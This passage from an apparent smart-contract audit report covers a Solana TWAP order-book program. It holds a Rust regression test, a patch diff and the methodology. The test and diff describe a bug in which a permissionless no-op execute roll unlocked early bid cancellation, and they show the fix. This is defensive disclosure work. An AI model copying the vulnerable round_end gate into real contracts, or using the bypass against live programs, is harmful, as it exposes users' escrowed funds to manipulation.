    // execute only READS the slab when surplus is 0 (no CPI), so hand-editing this field is safe.
    let mut slab = svm.get_account(&env.slab).unwrap();
    slab.data[749..765].copy_from_slice(&800_000u128.to_le_bytes());
    svm.set_account(env.slab, slab).unwrap();
    let supply_before_roll = mint_supply(&svm, &env.coin_mint);

    let cranker = Keypair::new(); svm.airdrop(&cranker.pubkey(), 1_000_000_000).unwrap();
    send(&mut svm, &[&cranker], execute_ix(&cranker.pubkey(), &env, &bk.book, &bk.holding, &bk.settlement_usd,
&bk.book_escrow, &bk.coin_escrow, None)).expect("execute round 1 is a no-op ROLL (nothing bought)");
    assert_eq!(mint_supply(&svm, &env.coin_mint), supply_before_roll, "a roll burns no COIN — the book did NOT really
clear");
    assert_eq!(token_amount(&svm, &bk.coin_escrow), 10_000, "alice's bid is still committed & UNSETTLED after the
roll");

    // FIXED (finding #2): the no-op roll advanced round_end (200 → 301), but that no longer unlocks
    // cancel. At slot 201 — inside the cooldown (aged-cutoff 300) — the cancel is REJECTED with
    // ERR_ROUND_ACTIVE (Custom(1)). The escrow is untouched; alice's COIN cannot be clawed back early.
    let r = send(&mut svm, &[&alice], cancel_ix(&alice.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow,
&bk.coin_escrow, &a_src, 0));
    assert!(r.is_err(), "the no-op-roll cancel must now be REJECTED mid-cooldown");
```

```
    let e = r.unwrap_err();
    assert!(e.contains("Custom(1)"), "must reject with ERR_ROUND_ACTIVE (Custom(1)), got {e}");
    assert_eq!(token_amount(&svm, &a_src), 0, "escrow NOT clawed back: alice's source still empty");
    assert_eq!(token_amount(&svm, &bk.coin_escrow), 10_000, "escrow still holds the committed COIN");

    // Legit path still works: once 2*round_length has aged (warp past slot 300), cancel succeeds.
    warp_to(&mut svm, 301);
    send(&mut svm, &[&alice], cancel_ix(&alice.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow, &bk.coin_escrow,
&a_src, 0)).expect("cancel succeeds after the full aging window");
    assert_eq!(token_amount(&svm, &a_src), 10_000, "aged cancel returns the escrowed COIN");
    assert_eq!(token_amount(&svm, &bk.coin_escrow), 0, "escrow drained by the legitimate aged cancel");
    let _ = a_usd;
}
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
index 2f109ad..d04f120 100644
--- a/twap-program/src/lib.rs
+++ b/twap-program/src/lib.rs
@@ -1662,13 +1662,21 @@ fn process_cancel_bid(program_id: &Pubkey, accounts: &[AccountInfo], data: &[u8]
         if book_rd_key(&d, o + SL_BIDDER) != *bidder.key {
             return Err(ProgramError::IllegalOwner); // only the bidder may cancel their own bid
         }
-        // Cooldown: an execute has cleared the book since placement, OR 2*round_length slots passed.
+        // Anti-spoofing cooldown: a placed bid cannot be cancelled until 2*round_length slots have
+        // aged past placement, so no last-second cancel can manipulate a pending execute.
+        //
+        // We must NOT shortcut this on "an execute moved round_end since placement": `execute`
+        // advances round_end on EVERY run, INCLUDING a no-op ROLL (a round where total_coin == 0 and
+        // nothing settles, e.g. surplus == 0). A round_end delta therefore does not imply the book
+        // really cleared — gating on it let a single permissionless no-op roll unlock cancel deep
+        // inside the cooldown (finding #2). A REAL settlement is no help to an early cancel anyway:
+        // it marks every occupied slot SL_SETTLED = 1, and a SETTLED bid is rejected above (it must
+        // use `claim`, not `cancel`). So the only durable, non-spoofable gate for an unsettled bid is
+        // the aging window; require it.
         let place_slot = book_rd_u64(&d, o + SL_PLACE_SLOT);
-        let place_round_end = book_rd_u64(&d, o + SL_PLACE_ROUND_END);
         let now = solana_program::clock::Clock::get()?.slot;
-        let cleared = book.round_end != place_round_end;
         let aged = now >= place_slot.saturating_add(book.round_length.saturating_mul(2));
-        if !cleared && !aged {
+        if !aged {
             return Err(ProgramError::Custom(ERR_ROUND_ACTIVE));
         }
         (book_rd_u128(&d, o + SL_COIN), book_rd_key(&d, o + SL_COIN_ATA))
```

A — SEVERITY RUBRIC

TIER	DEFINITION
CRITICAL	Direct loss of user funds or full protocol takeover with no meaningful preconditions. Reachable from a permissionless instruction by any signer. Must be patched immediately.
HIGH	Significant loss of user funds or protocol invariant violation under realistic preconditions (specific market state, signer with limited but obtainable role). Patch should ship in next release.
MEDIUM	Hardening issue, partial loss possible, or invariant violation requiring privileged signer or improbable state. Worth fixing in normal cadence.
LOW	Minor issue with no plausible path to fund loss. Code-quality or defense-in-depth concern.
INFO	Informational. No security impact. Documentation or style suggestion.

B — METHODOLOGY

Layer overview

LAYER	FUNCTION
`Layer 1`	Multi-agent recon. For each hypothesis, parallel LLM agents read the engine source and return a TRUE / FALSE / NEEDS_LAYER_2_TO_DECIDE verdict with confidence + per-agent grounding.
`Layer 1.5`	Adversarial debate. Contested verdicts (NEEDS_L2 or split verdicts) are promoted through a single-round attacker / defender debate, with a separate judge resolving the final verdict.
`Layer 2`	Concrete proof-of-concept. An inverted-assertion test is authored in Rust and run via `cargo test`. The test "fires" iff an abort with a custom error code originates in the target module (not stdlib / setup).
`Layer 2.5`	Triage. An LLM judge classifies each fire as `STRONG` (real bug), `SOFT` (wrong invariant), `FALSE` (artifactual abort), or `LOST` (signal missing). STRONG fires are clustered by (engine_function, target_file) so the same code-site bug under multiple hypothesis IDs collapses to one root cause.
`Layer 3`	Symbolic verification. Kani-based bounded model checking. The harness asserts the violated invariant; Kani either finds a counterexample within the bounded depth or proves safety.
`Layer 4`	On-chain BPF reproduction. The Solana program is deployed into LiteSVM and the PoC re-executed through the deployed instructions, confirming the wrapper-side defenses don't catch the bug.
`Layer P3`	Fix-bundle pipeline. The LLM authors a structural patch against the confirmed root cause and verifies it through a 6-gate machine check (well-formed diff, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still pass, and a language-specific symbolic/runtime check — Kani for Solana, Move Prover for Aptos, Halmos for Solidity, CBMC for C). Gates auto-skip when the language doesn't apply (the symbolic / runtime gates of one toolchain skip on cycles authored against another, with that language's verdict already reported under Layer 3 / Layer 4); the test-suite gate skips for eval targets that ship without a unified runner. Operator authorization is required before any upstream PR is opened.

Cycle execution

This report is a manual, in-depth cross-repo boundary audit of the percolator-prog and percolator-meta programs; the layer pipeline described is Jelleo's general methodology, and every finding here was driven to a real-binary LiteSVM reproduction. Every finding originates as a falsifiable invariant claim from a per-protocol hypothesis library, dispatched to Layer 1 multi-agent recon, promoted on contested verdicts via Layer 1.5 adversarial debate, and confirmed empirically through a Layer 2 `cargo test` proof-of-concept. Layer 2.5 triage classifies each fire as `STRONG` / `SOFT` / `FALSE` / `LOST`; only STRONG cluster representatives advance to `confirmed` and appear in §01 above. SOFT and STRONG duplicates land in `triaged`; FALSE fires return to `new`. Lifecycle: `new → triaged → confirmed → disclosed → fixed → verified`. Every cycle is signed Ed25519 against the platform key — see the cover-page receipt.

HYPOTHESES		POC FIRES		STRONG		ROOT CAUSES		CONFIRMED
9	→	**?**	→	**3**	→	**3**	→	**3**
from class library		test aborted in target module		STRONG 0 · SOFT 0 · FALSE 0 · LOST 0 (+ 3 promoted on bundle-verifier evidence)		3 STRONG → 3 after curation		reach this report

NON-FIRE ACCOUNTING 3 hypotheses were tested but the PoC did not fire — 3× `confirmed`. These are hypotheses where Layer 1 / Layer 1.5 returned a verdict but the Layer 2 PoC author either declined to produce a test (no plausible attack) or the test ran without an abort in the target module.

§ B.1 — Cycle funnel. Hypotheses tested → PoC fires → Layer 2.5 judge filters out artifactual / mis-invariant fires → surviving STRONG fires cluster by code site → cluster representatives become published findings.

C — AUDIT ARTIFACTS

All cycle artifacts are persisted on disk and verifiable independently of this report. The table below lists the canonical paths under the cycle workspace so a reviewer can re-execute every layer or recompute the cycle Merkle root.

ARTIFACT	PATH (RELATIVE TO WORKSPACE)
Cycle summary (manifest of every step)	`hunts/<cycle>/hunt_summary.json`
Per-step event log	`hunts/<cycle>/hunt.log.jsonl` (absent in this cycle)
Layer 2.5 triage verdicts	`hunts/<cycle>/triage.jsonl` (absent in this cycle)
Layer 2 PoC sources (Rust)	`hunts/<cycle>/poc/test_<slug>.rs`
Layer 2 PoC run logs	`hunts/<cycle>/poc/cargo_<slug>.log`
Layer 3 Kani harnesses + verdicts	`hunts/<cycle>/kani/<slug>/`
Layer 4 LiteSVM exploit tests	`hunts/<cycle>/litesvm/<slug>/`
Layer P3 fix bundles (patch.diff + evidence/ + manifest.json)	`hunts/<cycle>/bundles/<finding_id>/`
Narrative writeups (per finding)	`hunts/<cycle>/narratives/<hyp_id>.md`
Cycle Merkle root (tamper-evidence)	`hunts/<cycle>/merkle.json` (absent in this cycle)
Findings DB (SQLite)	`findings.db`
Ed25519 public key for receipt verification	`https://jelleo.com/keys/jelleo.ed25519.pub`

D — DISCLAIMERS

Findings in this report reflect the state of the engine source at the commit hash on the cover page. Subsequent changes to the codebase are not analyzed. The report is not a guarantee of code correctness or security: it documents invariants that fired (or held) under the hypothesis library applied during this cycle. Out-of-scope items are listed in §00.1 (Scope).

The findings database (see §C) reflects bundle-level state. A row is treated as a confirmed finding when the bundle's machine verification gates (PoC fails pre-patch + PoC passes post-patch + tests still pass) all hold, even if the Layer 2.5 LLM judge initially classified the fire as `SOFT` / `FALSE` / `LOST` — the verifier's empirical patch-defuses-bug evidence supersedes the judge. Rows that did not reach a confirmed lifecycle state are retained in the findings database as audit-trail evidence but are not published findings; the authoritative set is whatever appears in §01.

Communication channel: security@jelleo.com (PGP key on jelleo.com/security.html). Coordinated disclosure follows the timeline published in our security policy; pre-disclosure leak protections are enforced at the report level (the `--public` renderer suppresses confirmed-but-not-disclosed findings).

Methodology spec: docs/methodology/ · Live reference: jelleo.com/methodology.html · Source: github.com/Copenhagen0x/audit-pipeline-cli

---